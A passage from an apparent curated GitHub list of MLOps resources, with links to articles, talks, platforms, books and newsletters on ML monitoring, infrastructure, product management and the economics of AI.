1. [WhyLogs: Embrace Data Logging Across Your ML Systems](https://medium.com/whylabs/whylogs-embrace-data-logging-a9449cd121d)
1. [Evidently AI. Insights on doing machine learning in production. (Vendor blog.)](https://evidentlyai.com/blog)
1. [The definitive guide to comprehensively monitoring your AI](https://www.monalabs.io/mona-blog/definitiveguidetomonitorai)
1. [Introduction to Unit Testing for Machine Learning](https://themlrebellion.com/blog/Introduction-To-Unit-Testing-Machine-Learning/)
1. [Production Machine Learning Monitoring: Outliers, Drift, Explainers & Statistical Performance](https://towardsdatascience.com/production-machine-learning-monitoring-outliers-drift-explainers-statistical-performance-d9b1d02ac158)
1. Test-Driven Development in MLOps [Part 1](https://medium.com/mlops-community/test-driven-development-in-mlops-part-1-8894575f4dec)
1. [Domain-Specific Machine Learning Monitoring](https://medium.com/mlops-community/domain-specific-machine-learning-monitoring-88bc0dd8a212)
1. [Introducing ML Model Performance Management (Blog by fiddler)](https://blog.fiddler.ai/2021/03/introducing-ml-model-performance-management/)
1. [What is ML Observability? (Arize AI)](https://arize.com/what-is-ml-observability/)
1. [Beyond Monitoring: The Rise of Observability (Arize AI & Monte Carlo Data)](https://arize.com/beyond-monitoring-the-rise-of-observability/)
1. [Model Failure Modes (Arize AI)](https://arize.com/ml-model-failure-modes/)
1. [Quick Start to Data Quality Monitoring for ML (Arize AI)](https://arize.com/data-quality-monitoring/)
1. [Playbook to Monitoring Model Performance in Production (Arize AI)](https://arize.com/monitor-your-model-in-production/)
1. [Robust ML by Property Based Domain Coverage Testing (Blog by Efemarai)](https://towardsdatascience.com/why-dont-we-test-machine-learning-as-we-test-software-43f5720903d)
1. [Monitoring and explainability of models in production](https://arxiv.org/pdf/2007.06299.pdf)
1. [Beyond Monitoring: The Rise of Observability](https://aparnadhinak.medium.com/beyond-monitoring-the-rise-of-observability-c53bdc1d2e0b)
1. [ML Model Monitoring – 9 Tips From the Trenches. (by NU bank)](https://building.nubank.com.br/ml-model-monitoring-9-tips-from-the-trenches/)
1. [Model health assurance at LinkedIn. By LinkedIn Engineering](https://engineering.linkedin.com/blog/2021/model-health-assurance-at-linkedin)
1. [How to Trust Your Deep Learning Code](https://krokotsch.eu/cleancode/2020/08/11/Unit-Tests-for-Deep-Learning.html) ([Accompanying code](https://github.com/tilman151/unittest_dl))
1. [Estimating Performance of Regression Models Without Ground-Truth](https://bit.ly/medium-estimating-performance-regression) (Using [NannyML](https://bit.ly/ml-ops-nannyml))
1. [How Hyperparameter Tuning in Machine Learning Works (by NimbleBox.ai)](https://nimblebox.ai/blog/hyperparameter-tuning-machine-learning)
</details>
<a name="mlops-infra"></a>
# MLOps: Infrastructure & Tooling
<details>
<summary>Click to expand!</summary>
1. [MLOps Infrastructure Stack Canvas](https://miro.com/app/board/o9J_lfoc4Hg=/)
1. [Rise of the Canonical Stack in Machine Learning. How a Dominant New Software Stack Will Unlock the Next Generation of Cutting Edge AI Apps](https://towardsdatascience.com/rise-of-the-canonical-stack-in-machine-learning-724e7d2faa75)
1. [AI Infrastructure Alliance. Building the canonical stack for AI/ML](https://ai-infrastructure.org/)
1. [Linux Foundation AI Foundation](https://wiki.lfai.foundation/)
1. ML Infrastructure Tools for Production | [Part 1 — Production ML — The Final Stage of the Model Workflow](https://towardsdatascience.com/ml-infrastructure-tools-for-production-1b1871eecafb) | [Part 2 — Model Deployment and Serving](https://towardsdatascience.com/ml-infrastructure-tools-for-production-part-2-model-deployment-and-serving-fcfc75c4a362)
1. [The MLOps Stack Template (by valohai)](https://valohai.com/blog/the-mlops-stack/)
1. [Navigating the MLOps tooling landscape](https://ljvmiranda921.github.io/notebook/2021/05/10/navigating-the-mlops-landscape/)
1. [MLOps.toys curated list of MLOps projects (by Aporia)](https://mlops.toys/)
1. [Comparing Cloud MLOps platforms, From a former AWS SageMaker PM](https://towardsdatascience.com/comparing-cloud-mlops-platform-from-a-former-aws-sagemaker-pm-115ced28239b)
1. [Machine Learning Ecosystem 101 (whitepaper by Arize AI)](https://arize.com/wp-content/uploads/2021/04/Arize-AI-Ecosystem-White-Paper.pdf)
1. [Selecting your optimal MLOps stack: advantages and challenges. By Intellerts](https://intellerts.com/selecting-your-optimal-mlops-stack-advantages-and-challenges/)
1. [Infrastructure Design for Real-time Machine Learning Inference. The Databricks Blog](https://databricks.com/blog/2021/09/01/infrastructure-design-for-real-time-machine-learning-inference.html)
1. [The 2021 State of AI Infrastructure Survey](https://pages.run.ai/hubfs/PDFs/2021-State-of-AI-Infrastructure-Survey.pdf)
1. [AI infrastructure Maturity matrix](https://pages.run.ai/hubfs/PDFs/AI-Infrastructure-Maturity-Benchmarking-Model.pdf)
1. [A Curated Collection of the Best Open-source MLOps Tools. By Censius](https://censius.ai/mlops-tools)
1. [Best MLOps Tools to Manage the ML Lifecycle (by NimbleBox.ai)](https://nimblebox.ai/blog/mlops-tools)
</details>
<a name="mlops-papers"></a>
# MLOps Papers
A list of scientific and industrial papers and resources about Machine Learning operalization since 2015. [See more.](papers.md)
<a name="talks-about-mlops"></a>
# Talks About MLOps
<details>
<summary>Click to expand!</summary>
1. ["MLOps: Automated Machine Learning" by Emmanuel Raj](https://www.youtube.com/watch?v=m32k9jcY4pY)
1. [DeliveryConf 2020. "Continuous Delivery For Machine Learning: Patterns And Pains" by Emily Gorcenski](https://youtu.be/bFW5mZmj0nQ)
1. [MLOps Conference: Talks from 2019](https://www.mlopsconf.com?wix-vod-comp-id=comp-k1ry4afh)
1. [Kubecon 2019: Flyte: Cloud Native Machine Learning and Data Processing Platform](https://www.youtube.com/watch?v=KdUJGSP1h9U)
1. [Kubecon 2019: Running LargeScale Stateful workloads on Kubernetes at Lyft](https://www.youtube.com/watch?v=ECeVQoble0g)
1. [A CI/CD Framework for Production Machine Learning at Massive Scale (using Jenkins X and Seldon Core)](https://youtu.be/68_Phxwaj-k)
1. [MLOps Virtual Event (Databricks)](https://youtu.be/9Ehh7Vl7ByM)
1. [MLOps NY conference 2019](https://www.iguazio.com/mlops-nyc-sessions/)
1. [MLOps.community YouTube Channel](https://www.youtube.com/channel/UCG6qpjVnBTTT8wLGBygANOQ)
1. [MLinProduction YouTube Channel](https://www.youtube.com/channel/UC3B_Z9FTeu4i8xtxDjGaZxw)
1. [Introducing MLflow for End-to-End Machine Learning on Databricks. Spark+AI Summit 2020. Sean Owen](https://youtu.be/nx3yFzx_nHI)
1. [MLOps Tutorial #1: Intro to Continuous Integration for ML](https://youtu.be/9BgIDqAzfuA)
1. [Machine Learning At Speed: Operationalizing ML For Real-Time Data Streams (2019)](https://youtu.be/46l_C7ibpuo)
1. [Damian Brady - The emerging field of MLops](https://humansofai.podbean.com/e/damian-brady-the-emerging-field-of-mlops/)
1. [MLOps - Entwurf, Entwicklung, Betrieb (INNOQ Podcast in German)](https://www.innoq.com/en/podcast/076-mlops/)
1. [Instrumentation, Observability & Monitoring of Machine Learning Models](https://www.infoq.com/presentations/instrumentation-observability-monitoring-ml/)
1. [Efficient ML engineering: Tools and best practices](https://learning.oreilly.com/videos/oreilly-strata-data/9781492050681/9781492050681-video327465?autoplay=false)
1. [Beyond the jupyter notebook: how to build data science products](https://towardsdatascience.com/beyond-the-jupyter-notebook-how-to-build-data-science-products-50d942fc25d8)
1. [An introduction to MLOps on Google Cloud](https://www.youtube.com/watch?v=6gdrwFMaEZ0#action=share) (First 19 min are vendor-, language-, and framework-agnostic. @visenger)
1. [How ML Breaks: A Decade of Outages for One Large ML Pipeline](https://youtu.be/hBMHohkRgAA)
1. [Clean Machine Learning Code: Practical Software Engineering](https://youtu.be/PEjTAJHxYPM)
1. [Machine Learning Engineering: 10 Fundamentale Praktiken](https://www.youtube.com/watch?v=VYlXNWxqJ2A)
1. [Architecture of machine learning systems (3-part series)](https://www.youtube.com/playlist?list=PLx8omXiw3n9y26FKZLV5ScyS52D_c29QN)
1. [Machine Learning Design Patterns](https://youtu.be/udXjlvCFusc)
1. [The laylist that covers techniques and approaches for model deployment on to production](https://youtube.com/playlist?list=PL3N9eeOlCrP5PlN1jwOB3jVZE6nYTVswk)
1. [ML Observability: A Critical Piece in Ensuring Responsible AI (Arize AI at Re-Work)](https://www.youtube.com/watch?v=2FE1sg749V[o)
1. [ML Engineering vs. Data Science (Arize AI Un/Summit)](https://www.youtube.com/watch?v=lP_4lT2k7Kg&t=2s)
1. [SRE for ML: The First 10 Years and the Next 10 ](https://www.usenix.org/conference/srecon21/presentation/underwood-sre-ml)
1. [Demystifying Machine Learning in Production: Reasoning about a Large-Scale ML Platform](https://www.usenix.org/conference/srecon21/presentation/mcglohon)
1. [Apply Conf 2022](https://www.applyconf.com/apply-conf-may-2022/)
1. [Databricks' Data + AI Summit 2022](https://databricks.com/dataaisummit/north-america-2022)
1. [RE•WORK MLOps Summit 2022](https://www.re-work.co/events/mlops-summit-2022)
1. [Annual MLOps World Conference](https://mlopsworld.com/)
</details>
<a name="existing-ml-systems"></a>
# Existing ML Systems
<details>
<summary>Click to expand!</summary>
1. [Introducing FBLearner Flow: Facebook’s AI backbone](https://engineering.fb.com/ml-applications/introducing-fblearner-flow-facebook-s-ai-backbone/)
1. [TFX: A TensorFlow-Based Production-Scale Machine Learning Platform](https://dl.acm.org/doi/pdf/10.1145/3097983.3098021?download=true)
1. [Accelerate your ML and Data workflows to production: Flyte](https://flyte.org/)
1. [Getting started with Kubeflow Pipelines](https://cloud.google.com/blog/products/ai-machine-learning/getting-started-kubeflow-pipelines)
1. [Meet Michelangelo: Uber’s Machine Learning Platform](https://eng.uber.com/michelangelo/)
1. [Meson: Workflow Orchestration for Netflix Recommendations](https://netflixtechblog.com/meson-workflow-orchestration-for-netflix-recommendations-fc932625c1d9)
1. [What are Azure Machine Learning pipelines?](https://docs.microsoft.com/en-gb/azure/machine-learning/concept-ml-pipelines)
1. [Uber ATG’s Machine Learning Infrastructure for Self-Driving Vehicles](https://eng.uber.com/machine-learning-model-life-cycle-version-control/)
1. [An overview of ML development platforms](https://www.linkedin.com/pulse/overview-ml-development-platforms-louis-dorard/)
1. [Snorkel AI: Putting Data First in ML Development](https://www.snorkel.ai/07-14-2020-snorkel-ai-launch.html)
1. [A Tour of End-to-End Machine Learning Platforms](https://databaseline.tech/a-tour-of-end-to-end-ml-platforms/)
1. [Introducing WhyLabs, a Leap Forward in AI Reliability](https://medium.com/whylabs/introducing-whylabs-5a3b4f37b998)
1. [Project: Ease.ml (ETH Zürich)](https://ds3lab.inf.ethz.ch/easeml.html)
1. [Bodywork: model-training and deployment automation](https://bodywork.readthedocs.io/en/latest/)
1. [Lessons on ML Platforms — from Netflix, DoorDash, Spotify, and more](https://towardsdatascience.com/lessons-on-ml-platforms-from-netflix-doordash-spotify-and-more-f455400115c7)
1. [Papers & tech blogs by companies sharing their work on data science & machine learning in production. By Eugen Yan](https://github.com/eugeneyan/applied-ml)
1. [How do different tech companies approach building internal ML platforms? (tweet)](https://twitter.com/EvidentlyAI/status/1420328878585913344)
1. [Declarative Machine Learning Systems](https://dl.acm.org/doi/pdf/10.1145/3475965.3479315)
1. [StreamING Machine Learning Models: How ING Adds Fraud Detection Models at Runtime with Apache Flink](https://www.ververica.com/blog/real-time-fraud-detection-ing-bank-apache-flink)
</details>
<a name="machine-learning"></a>
# Machine Learning
<details>
<summary>Click to expand!</summary>
1. Book, Aurélien Géron,"Hands-On Machine Learning with Scikit-Learn and TensorFlow"
1. [Foundations of Machine Learning](https://bloomberg.github.io/foml/)
1. [Best Resources to Learn Machine Learning](http://www.trainindatablog.com/best-resources-to-learn-machine-learning/)
1. [Awesome TensorFlow](https://github.com/jtoy/awesome-tensorflow)
1. ["Papers with Code" - Browse the State-of-the-Art in Machine Learning](https://paperswithcode.com/sota)
1. [Zhi-Hua Zhou. 2012. Ensemble Methods: Foundations and Algorithms. Chapman & Hall/CRC.](https://www.amazon.com/exec/obidos/ASIN/1439830037/acmorg-20)
1. [Feature Engineering for Machine Learning. Principles and Techniques for Data Scientists. By Alice Zheng, Amanda Casari](https://www.amazon.com/Feature-Engineering-Machine-Learning-Principles-ebook/dp/B07BNX4MWC)
1. [Google Research: Looking Back at 2019, and Forward to 2020 and Beyond](https://ai.googleblog.com/2020/01/google-research-looking-back-at-2019.html)
1. [O’Reilly: The road to Software 2.0](https://www.oreilly.com/radar/the-road-to-software-2-0/)
1. [Machine Learning and Data Science Applications in Industry](https://github.com/firmai/industry-machine-learning)
1. [Deep Learning for Anomaly Detection](https://ff12.fastforwardlabs.com/)
1. [Federated Learning for Mobile Keyboard Prediction](https://arxiv.org/pdf/1811.03604.pdf)
1. [Federated Learning. Building better products with on-device data and privacy on default](https://federated.withgoogle.com/)
1. [Federated Learning: Collaborative Machine Learning without Centralized Training Data](https://ai.googleblog.com/2017/04/federated-learning-collaborative.html)
1. [Yang, Q., Liu, Y., Cheng, Y., Kang, Y., Chen, T. and Yu, H., 2019. Federated learning. Synthesis Lectures on Artificial Intelligence and Machine Learning, 13(3). Chapters 1 and 2.](https://www.morganclaypoolpublishers.com/catalog_Orig/samples/9781681736983_sample.pdf)
1. [Federated Learning by FastForward](https://federated.fastforwardlabs.com/)
1. [THE FEDERATED & DISTRIBUTED MACHINE LEARNING CONFERENCE](https://www.federatedlearningconference.com/)
1. [Federated Learning: Challenges, Methods, and Future Directions](https://blog.ml.cmu.edu/2019/11/12/federated-learning-challenges-methods-and-future-directions/)
1. [Book: Molnar, Christoph. "Interpretable machine learning. A Guide for Making Black Box Models Explainable", 2019](https://christophm.github.io/interpretable-ml-book/)
1. [Book: Hutter, Frank, Lars Kotthoff, and Joaquin Vanschoren. "Automated Machine Learning". Springer,2019.](https://originalstatic.aminer.cn/misc/pdf/Hutter-AutoML_Book_compressed.pdf)
1. [ML resources by topic, curated by the community. ](https://madewithml.com/topics/)
1. [An Introduction to Machine Learning Interpretability, by Patrick Hall, Navdeep Gill, 2nd Edition. O'Reilly 2019](https://learning.oreilly.com/library/view/an-introduction-to/9781098115487/)
1. [Examples of techniques for training interpretable machine learning (ML) models, explaining ML models, and debugging ML models for accuracy, discrimination, and security.](https://github.com/jphall663/interpretable_machine_learning_with_python)
1. [Paper: "Machine Learning in Python: Main developments and technology trends in data science, machine learning, and artificial intelligence", by Sebastian Raschka, Joshua Patterson, and Corey Nolet. 2020](https://arxiv.org/pdf/2002.04803.pdf)
1. [Distill: Machine Learning Research](https://distill.pub/)
1. [AtHomeWithAI: Curated Resource List by DeepMind](https://storage.googleapis.com/deepmind-media/research/New_AtHomeWithAI%20resources.pdf)
1. [Awesome Data Science](https://github.com/academic/awesome-datascience)
1. [Intro to probabilistic programming. A use case using Tensorflow-Probability (TFP)](https://towardsdatascience.com/intro-to-probabilistic-programming-b47c4e926ec5)
1. [Dive into Snorkel: Weak-Superversion on German Texts. inovex Blog](https://www.inovex.de/blog/snorkel-weak-superversion-german-texts/)
1. [Dive into Deep Learning. An interactive deep learning book with code, math, and discussions. Provides NumPy/MXNet, PyTorch, and TensorFlow implementations](http://d2l.ai/)
1. [Data Science Collected Resources (GitHub repository)](https://github.com/tirthajyoti/Data-science-best-resources)
1. [Set of illustrated Machine Learning cheatsheets](https://stanford.edu/~shervine/teaching/cs-229/)
1. ["Machine Learning Bookcamp" by Alexey Grigorev](https://www.manning.com/books/machine-learning-bookcamp)
1. [130 Machine Learning Projects Solved and Explained](https://medium.com/the-innovation/130-machine-learning-projects-solved-and-explained-605d188fb392)
1. [Machine learning cheat sheet](https://github.com/soulmachine/machine-learning-cheat-sheet)
1. [Stateoftheart AI. An open-data and free platform built by the research community to facilitate the collaborative development of AI](https://www.stateoftheart.ai/)
1. [Online Machine Learning Courses: 2020 Edition](https://www.blog.confetti.ai/post/best-online-machine-learning-courses-2020-edition)
1. [End-to-End Machine Learning Library](https://e2eml.school/blog.html)
1. [Machine Learning Toolbox (by Amit Chaudhary)](https://amitness.com/toolbox/)
1. [Causality for Machine Learning](https://ff13.fastforwardlabs.com/FF13-Causality_for_Machine_Learning-Cloudera_Fast_Forward.pdf)
1. [Causal Inference for the Brave and True](https://matheusfacure.github.io/python-causality-handbook/landing-page.html)
1. [Causal Inference](https://mixtape.scunning.com/index.html)
1. [A resource list for causality in statistics, data science and physics](https://github.com/msuzen/looper/blob/master/looper.md)
1. [Learning from data. Caltech](http://work.caltech.edu/lectures.html)
1. [Machine Learning Glossary](https://ml-cheatsheet.readthedocs.io/en/latest/#)
1. [Book: "Distributed Machine Learning Patterns". 2022. By Yuan Tang. Manning](https://www.manning.com/books/distributed-machine-learning-patterns)
1. [Machine Learning for Beginners - A Curriculum](https://github.com/microsoft/ML-For-Beginners)
1. [Making Friends with Machine Learning. By Cassie Kozyrkov]()
1. [Machine Learning Workflow - A Complete Guide (by NimbleBox.ai)](https://nimblebox.ai/blog/machine-learning-workflow)
1. [Performance Metrics to Monitor in Machine Learning Projects (by NimbleBox.ai)](https://nimblebox.ai/blog/machine-learning-performance-metrics)
</details>
<a name="software-engineering"></a>
# Software Engineering
<details>
<summary>Click to expand!</summary>
1. [The Twelve Factors](https://12factor.net/)
1. [Book "Accelerate: The Science of Lean Software and DevOps: Building and Scaling High Performing Technology Organizations", 2018 by Nicole Forsgren et.al](https://www.amazon.com/Accelerate-Software-Performing-Technology-Organizations/dp/1942788339)
1. [Book "The DevOps Handbook" by Gene Kim, et al. 2016](https://itrevolution.com/book/the-devops-handbook/)
1. [State of DevOps 2019](https://research.google/pubs/pub48455/)
1. [Clean Code concepts adapted for machine learning and data science.](https://github.com/davified/clean-code-ml)
1. [School of SRE](https://linkedin.github.io/school-of-sre/)
1. [10 Laws of Software Engineering That People Ignore](https://www.indiehackers.com/post/10-laws-of-software-engineering-that-people-ignore-e3439176dd)
1. [The Patterns of Scalable, Reliable, and Performant Large-Scale Systems](http://awesome-scalability.com/)
1. [The Book of Secret Knowledge](https://github.com/trimstray/the-book-of-secret-knowledge)
1. [SHADES OF CONWAY'S LAW](https://thinkinglabs.io/articles/2021/05/07/shades-of-conways-law.html)
1. [Engineering Practices for Data Scientists](https://valohai.com/engineering-practices-ebook/)
</details>
<a name="product-management-for-mlai"></a>
# Product Management for ML/AI
<details>
<summary>Click to expand!</summary>
1. [What you need to know about product management for AI. A product manager for AI does everything a traditional PM does, and much more.](https://www.oreilly.com/radar/what-you-need-to-know-about-product-management-for-ai/)
1. [Bringing an AI Product to Market. Previous articles have gone through the basics of AI product management. Here we get to the meat: how do you bring a product to market?](https://www.oreilly.com/radar/bringing-an-ai-product-to-market/)
1. [The People + AI Guidebook](https://pair.withgoogle.com/guidebook/)
1. [User Needs + Defining Success](https://pair.withgoogle.com/chapter/user-needs/)
1. [Building machine learning products: a problem well-defined is a problem half-solved.](https://www.jeremyjordan.me/ml-requirements/)
1. [Talk: Designing Great ML Experiences (Apple)](https://developer.apple.com/videos/play/wwdc2019/803/)
1. [Machine Learning for Product Managers](http://nlathia.github.io/2017/03/Machine-Learning-for-Product-Managers.html)
1. [Understanding the Data Landscape and Strategic Play Through Wardley Mapping](https://ergestx.com/data-landscape-wardley-mapping/)
1. [Techniques for prototyping machine learning systems across products and features](https://design.google/library/simulating-intelligence/)
1. [Machine Learning and User Experience: A Few Resources](https://medium.com/ml-ux/machine-learning-and-user-experience-a-few-resources-e7872f1d34ee)
1. [AI ideation canvas](https://idalab.de/wp-content/uploads/2021/02/idalab-AI-ideation-canvas-Feb21.pdf)
1. [Ideation in AI](https://idalab.de/ideation-in-ai-five-ways-to-make-the-workshops-work/)
1. [5 Steps for Building Machine Learning Models for Business. By shopify engineering](https://shopify.engineering/building-business-machine-learning-models)
1. [Metric Design for Data Scientists and Business Leaders](https://towardsdatascience.com/metric-design-for-data-scientists-and-business-leaders-b8adaf46c00)
</details>
<a name="the-economics-of-mlai"></a>
# The Economics of ML/AI
<details>
<summary>Click to expand!</summary>
1. [Book: "Prediction Machines: The Simple Economics of Artificial Intelligence"](https://www.predictionmachines.ai/)
1. [Book: "The AI Organization" by David Carmona](https://learning.oreilly.com/library/view/the-ai-organization/9781492057369/)
1. [Book: "Succeeding with AI". 2020. By Veljko Krunic. Manning Publications](https://learning.oreilly.com/library/view/succeeding-with-ai/9781617296932/)
1. [A list of articles about AI and the economy](https://www.predictionmachines.ai/articles)
1. [Gartner AI Trends 2019](https://blogs.gartner.com/smarterwithgartner/files/2019/08/CTMKT_736691_Hype_Cycle_for_AI_2019.png)
1. [Global AI Survey: AI proves its worth, but few scale impact](https://www.mckinsey.com/featured-insights/artificial-intelligence/global-ai-survey-ai-proves-its-worth-but-few-scale-impact)
1. [Getting started with AI? Start here! Everything you need to know to dive into your project](https://medium.com/hackernoon/the-decision-makers-guide-to-starting-ai-72ee0d7044df)
1. [11 questions to ask before starting a successful Machine Learning project](https://tryolabs.com/blog/2019/02/13/11-questions-to-ask-before-starting-a-successful-machine-learning-project/)
1. [What AI still can’t do](https://www.technologyreview.com/s/615189/what-ai-still-cant-do/)
1. [Demystifying AI Part 4: What is an AI Canvas and how do you use it?](https://www.wearebrain.com/blog/ai-data-science/what-is-an-ai-canvas/)
1. [A Data Science Workflow Canvas to Kickstart Your Projects](https://towardsdatascience.com/a-data-science-workflow-canvas-to-kickstart-your-projects-db62556be4d0)
1. [Is your AI project a nonstarter? Here’s a reality check(list) to help you avoid the pain of learning the hard way](https://medium.com/hackernoon/ai-reality-checklist-be34e2fdab9)
1. [What is THE main reason most ML projects fail?](https://towardsdatascience.com/what-is-the-main-reason-most-ml-projects-fail-515d409a161f)
1. [Designing great data products. The Drivetrain Approach: A four-step process for building data products.](https://www.oreilly.com/radar/drivetrain-approach-data-products/)
1. [The New Business of AI (and How It’s Different From Traditional Software)](https://a16z.com/2020/02/16/the-new-business-of-ai-and-how-its-different-from-traditional-software/)
1. [The idea maze for AI startups](https://cdixon.org/2015/02/01/the-ai-startup-idea-maze)
1. [The Enterprise AI Challenge: Common Misconceptions](https://www.forbes.com/sites/forbestechcouncil/2020/01/15/the-enterprise-ai-challenge-common-misconceptions/#37ca1e5c5696)
1. [Misconception 1 (of 5): Enterprise AI Is Primarily About The Technology](https://www.forbes.com/sites/forbestechcouncil/2020/01/31/misconception-1-of-5-enterprise-ai-is-primarily-about-the-technology/#151e6711180e)
1. [Misconception 2 (of 5): Automated Machine Learning Will Unlock Enterprise AI](https://www.forbes.com/sites/forbestechcouncil/2020/02/27/misconception-2-of-5-automated-machine-learning-will-unlock-enterprise-ai/#7f618ff97ace)
1. [Three Principles for Designing ML-Powered Products](https://spotify.design/articles/2019-12-10/three-principles-for-designing-ml-powered-products/)
1. [A Step-by-Step Guide to Machine Learning Problem Framing](https://medium.com/thelaunchpad/a-step-by-step-guide-to-machine-learning-problem-framing-6fc17126b981)
1. [AI adoption in the enterprise 2020](https://www.oreilly.com/radar/ai-adoption-in-the-enterprise-2020/)
1. [How Adopting MLOps can Help Companies With ML Culture?](https://www.analyticsinsight.net/adopting-mlops-can-help-companies-ml-culture/)
1. [Weaving AI into Your Organization](https://medium.com/firmai/weaving-ai-into-your-organization-2d9643da50e1)
1. [What to Do When AI Fails](https://www.oreilly.com/radar/what-to-do-when-ai-fails/)
1. [Introduction to Machine Learning Problem Framing](https://developers.google.com/machine-learning/problem-framing)
1. [Structured Approach for Identifying AI Use Cases](https://towardsdatascience.com/proven-structured-approach-for-identifying-ai-use-cases-b876d8d00e5)
1. [Book: "Machine Learning for Business" by Doug Hudgeon, Richard Nichol, O'reilly](https://learning.oreilly.com/library/view/machine-learning-for/9781617295836/)
1. [Why Commercial Artificial Intelligence Products Do Not Scale (FemTech)](https://www.presagen.com/why-commercial-artificial-intelligence-products-do-not-scale)
1. [Google Cloud’s AI Adoption Framework (White Paper)](https://services.google.com/fh/files/misc/ai_adoption_framework_whitepaper.pdf)
1. [Data Science Project Management](http://www.datascience-pm.com/)
1. [Book: "Competing in the Age of AI" by Marco Iansiti, Karim R. Lakhani. Harvard Business Review Press. 2020](https://learning.oreilly.com/library/view/competing-in-the/9781633697638/)
1. [The Three Questions about AI that Startups Need to Ask. The first is: Are you sure you need AI?](https://towardsdatascience.com/google-expert-tips-for-artificial-intelligence-startups-three-questions-about-ai-that-startups-need-to-ask-308924cb5324)
1. [Taming the Tail: Adventures in Improving AI Economics](https://a16z.com/2020/08/12/taming-the-tail-adventures-in-improving-ai-economics/)
1. [Managing the Risks of Adopting AI Engineering](https://insights.sei.cmu.edu/sei_blog/2020/08/managing-the-risks-of-adopting-ai-engineering.html)
1. [Get rid of AI Saviorism](https://www.shreya-shankar.com/ai-saviorism/)
1. [Collection of articles listing reasons why data science projects fail](https://github.com/xLaszlo/datascience-fails)
1. [How to Choose Your First AI Project by Andrew Ng](https://hbr.org/2019/02/how-to-choose-your-first-ai-project)
1. [How to Set AI Goals](https://www.oreilly.com/radar/how-to-set-ai-goals/)
1. [Expanding AI's Impact With Organizational Learning](https://sloanreview.mit.edu/projects/expanding-ais-impact-with-organizational-learning/)
1. [Potemkin Data Science](https://mcorrell.medium.com/potemkin-data-science-fba2b5ba5cc6)
1. [When Should You Not Invest in AI?](https://www.entrepreneur.com/article/359803)
1. [Why 90% of machine learning models never hit the market. Most companies lack leadership support, effective communication between teams, and accessible data](https://thenextweb.com/news/why-most-machine-learning-models-never-hit-market-syndication)
</details>
<a name="ml-governance"></a>
# Model Governance, Ethics, Responsible AI
This topic is extracted into our new [Awesome ML Model Governace repository](https://github.com/visenger/Awesome-ML-Model-Governance)
<a name="teams"></a>
# MLOps: People & Processes
<details>
<summary>Click to expand!</summary>
1. [Scaling An ML Team (0–10 People)](https://medium.com/aquarium-learning/scaling-an-ml-team-0-10-people-ae024f3a89f3)
1. [The Knowledge Repo project is focused on facilitating the sharing of knowledge between data scientists and other technical roles.](https://github.com/airbnb/knowledge-repo)
1. [Scaling Knowledge at Airbnb](https://medium.com/airbnb-engineering/scaling-knowledge-at-airbnb-875d73eff091)
1. [Models for integrating data science teams within companies A comparative analysis](https://djpardis.medium.com/models-for-integrating-data-science-teams-within-organizations-7c5afa032ebd)
1. [How to Write Better with The Why, What, How Framework. How to write design documents for data science/machine learning projects? (by Eugene Yan)](https://eugeneyan.com/writing/writing-docs-why-what-how/)
1. [Technical Writing Courses](https://developers.google.com/tech-writing)
1. [Building a data team at a mid-stage startup: a short story. By Erik Bernhardsson](https://erikbern.com/2021/07/07/the-data-team-a-short-story.html)
1. [The Cultural Benefits of Artificial Intelligence in the Enterprise. by Sam Ransbotham, François Candelon, David Kiron, Burt LaFountain, and Shervin Khodabandeh](https://web-assets.bcg.com/2a/d0/ebfb860a4e05aa9e4729b083da4b/the-cultural-benefits-of-artificial-intelligence-in-the-enterprise.pdf)
</details>
<a name="newsletters"></a>
# Newsletters About MLOps, Machine Learning, Data Science and Co.
<details>
<summary>Click to expand!</summary>
1. [ML in Production newsletter](https://mlinproduction.com/machine-learning-newsletter/)
1. [MLOps.community](https://mlops.community/)
1. [Andriy Burkov newsletter](https://www.linkedin.com/pulse/artificial-intelligence-33-andriy-burkov/)
1. [Decision Intelligence by Cassie Kozyrkov](https://decision.substack.com/)
1. [Laszlo's Newsletter about Data Science](https://laszlo.substack.com/)
1. [Data Elixir newsletter for a weekly dose of the top data science picks from around the web. Covering machine learning, data visualization, analytics, and strategy.](https://dataelixir.com/)
1. [The Data Science Roundup by Tristan Handy](http://roundup.fishtownanalytics.com/)
1. [Vicki Boykis Newsletter about Data Science](https://vicki.substack.com/)
1. [KDnuggets News](https://www.kdnuggets.com/)
1. [Analytics Vidhya, Any questions on business analytics, data science, big data, data visualizations tools and techniques](https://www.analyticsvidhya.com/blog/)
1. [Data Science Weekly Newsletter: A free weekly newsletter featuring curated news, articles and jobs related to Data Science](https://www.datascienceweekly.org/)
1. [The Machine Learning Engineer Newsletter](https://ethical.institute/mle.html)
1. [Gradient Flow helps you stay ahead of the latest technology trends and tools with in-depth coverage, analysis and insights. See the latest on data, technology and business, with a focus on machine learning and AI](https://gradientflow.wpcomstaging.com/)
1. [Your guide to AI by Nathan Benaich. Monthly analysis of AI technology, geopolitics, research, and startups.](http://newsletter.airstreet.com/)
1. [O'Reilly Data & AI Newsletter](https://www.oreilly.com/emails/newsletters/)
1. [deeplearning.ai’s newsletter by Andrew Ng](https://www.deeplearning.ai/)
1. [Deep Learning Weekly](https://www.deeplearningweekly.com/)
1. [Import AI is a weekly newsletter about artificial intelligence, read by more than ten thousand experts. By Jack Clark.](https://jack-clark.net/)
1. [AI Ethics Weekly](https://lighthouse3.com/newsletter/)
1. [Announcing Projects To Know, a weekly machine intelligence and data science newsletter](https://blog.amplifypartners.com/announcing-projects-to-know/)
1. [TWIML: This Week in Machine Learning and AI newsletter](https://twimlai.com/newsletter/)
1. [featurestore.org: Monthly Newsletter on Feature Stores for ML](https://www.featurestore.org/)
1. [DataTalks.Club Community: Slack, Newsletter, Podcast, Weeekly Events](https://datatalks.club/)
1. [Machine Learning Ops Roundup](https://mlopsroundup.substack.com/)
1. [Data Science Programming Newsletter by Eric Ma](https://dspn.substack.com/)
1. [Marginally Interesting by Mikio L. Braun](https://www.getrevue.co/profile/mikiobraun)
1. [Synced](https://syncedreview.com/)
1. [The Ground Truth: Newsletter for Computer Vision Practitioners](https://info.superb-ai.com/ground-truth-newsletter-subscribe)
1. [SwirlAI: Data Engineering, MLOps and overall Data focused Newsletter by Aurimas Griciūnas](https://swirlai.substack.com/)
</details>
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<img src="https://sindresorhus.com/assets/thanks/gitpod-logo-white-bg.svg" width="220" alt="Gitpod">
</div>
<b>Dev environments built for the cloud</b>
<div>
<sub>
Natively integrated with GitLab, GitHub, and Bitbucket, Gitpod automatically and continuously prebuilds dev
<br>
environments for all your branches. As a result team members can instantly start coding with fresh dev environments
<br>
for each new task - no matter if you are building a new feature, want to fix a bug, or work on a code review.
</sub>
</div>
</a>
<br>
<br>
